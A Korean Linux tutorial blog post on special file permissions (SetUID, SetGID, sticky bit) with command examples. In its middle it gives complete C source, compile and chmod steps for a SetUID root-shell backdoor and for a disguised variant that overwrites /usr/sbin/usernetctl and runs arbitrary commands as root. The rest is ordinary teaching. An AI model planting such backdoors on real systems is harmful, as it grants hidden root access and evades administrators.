IT기술/Linux

4-4 특수권한

dobbby 2013. 9. 6. 17:37
반응형

● 특수권한


   SetUID(4000)  --S------  :  프로그램을 실행(x) 할 경우 

실행계정을 프로그램의 소유자 계정으로 일시변경 

   SetGID(2000)  -----S---  :  프로그램을 실행(x) 할 경우 

실행계정을 프로그램의 소유그룹의 계정으로 일시변경 

   Sticky(1000)   --------T  :  쓰기(w) 권한을 가진 디렉토리에 사용하면 

적용된 디렉토리의 삭제는 소유자만 가능하도록 만들어 주는 기능


    ※ 특수권한이 x권한과 중복된 경우 소문자로 표시


   ex)  ]# whereis passwd

          passwd: /usr/bin/passwd /etc/passwd /usr/share/man/man1/passwd.1.gz /usr/share/man/man5/passwd.5.gz


          ※ passwd 명령 : 계정의 비밀번호를 변경하는 명령 => /etc/passwd 파일의 내용을 수정하는 명령

                =>  관리자 및 일반계정 모두 사용하는 명령


          ]# ls -l  /usr/bin/passwd

           -rwsr-xr-x 1 root root 22960  7월 17  2006 /usr/bin/passwd

              (4755)


            => 모든 계정이 passwd 명령을 실행 할 수 있다.

            => SetUID 권한에 의해 명령을 실행하는 계정은 일시적으로 소유자계정(root)로 변경


          ]# ls  -l   /etc/passwd      =>  계정 정보를 저장하고 있는 파일

           -rw-r--r-- 1 root root 1954 10월  3 12:13 /etc/passwd

              (644)  


            => /etc/passwd 파일은 root 계정만 변경 가능하다.

   



   - setUID 권한을 가지고 있는 파일은 반드시 관리자가 숙지하지고 있어야 된다.

      => SetUID 권한은 보안에 위험하므로 부여하지 않는 것 좋다.


     ]# find / -type f -perm +4000 -exec ls -l {} \;  >  setuid.txt        

       => SetUID 권한을 가지고 있는 파일을 setuid.txt에 저장




 ※ 간단한 backdoor 프로그램 작성


      ]# vi backdoor.c

      #include <stdio.h>


      int main() {

            setuid(0);

            setgid(0);

            system("/bin/bash");

            return 0;

      }

   

      ]# gcc -o backdoor backdoor.c    =>  컴파일 후 실행파일을 생성


      ]# chmod 4755 backdoor   =>  파일 소유자 : root


     => kim 계정 로그인


      ]$ ./backdoor


      ]# source /etc/profile     =>  관리자 환경 적용


  ※ backdoor 프로그램을 숨겨서 실행하는 방법


      ]# vi backdoor2.c

      #include <stdio.h>


      int main(int argc,char *argv[]) {     

             char exec[100];

             setuid(0);

             setgid(0);

             sprintf(exec,"%s 2>/dev/null",argv[1]);

             system(exec);

             printf("usage: usernetctl <interface-config> <up|down|report>\n");

     }


     ]# gcc -o backdoor2 backdoor2.c


     ]# chmod 4755 backdoor2 


     ]# mv backdoor2 /usr/sbin/usernetctl     =>  Overwrite


     => kim 계정 로그인    


     ]$ /usr/sbin/usernetctl "/usr/sbin/userdel -r kkk"



  ex)  sticky 권한을 적용한 공유디렉토리 생성


     관리자     ]# mkdir /home/share 

                   ]# chmod 777 /home/share



     lee 계정   ]$ cd /home/share

                   ]$ mkdir leeData




    park 계정  ]$ cd /home/share

                   ]$ rm -rf leeData     =>  삭제 가능 




     관리자     ]# chmod 1777 /home/share




     lee 계정   ]$ cd /home/share

                   ]$ mkdir leeData    




    park 계정  ]$ cd /home/share

                   ]$ rm -rf leeData     =>  sticky 권한에 의해 삭제 불가능


반응형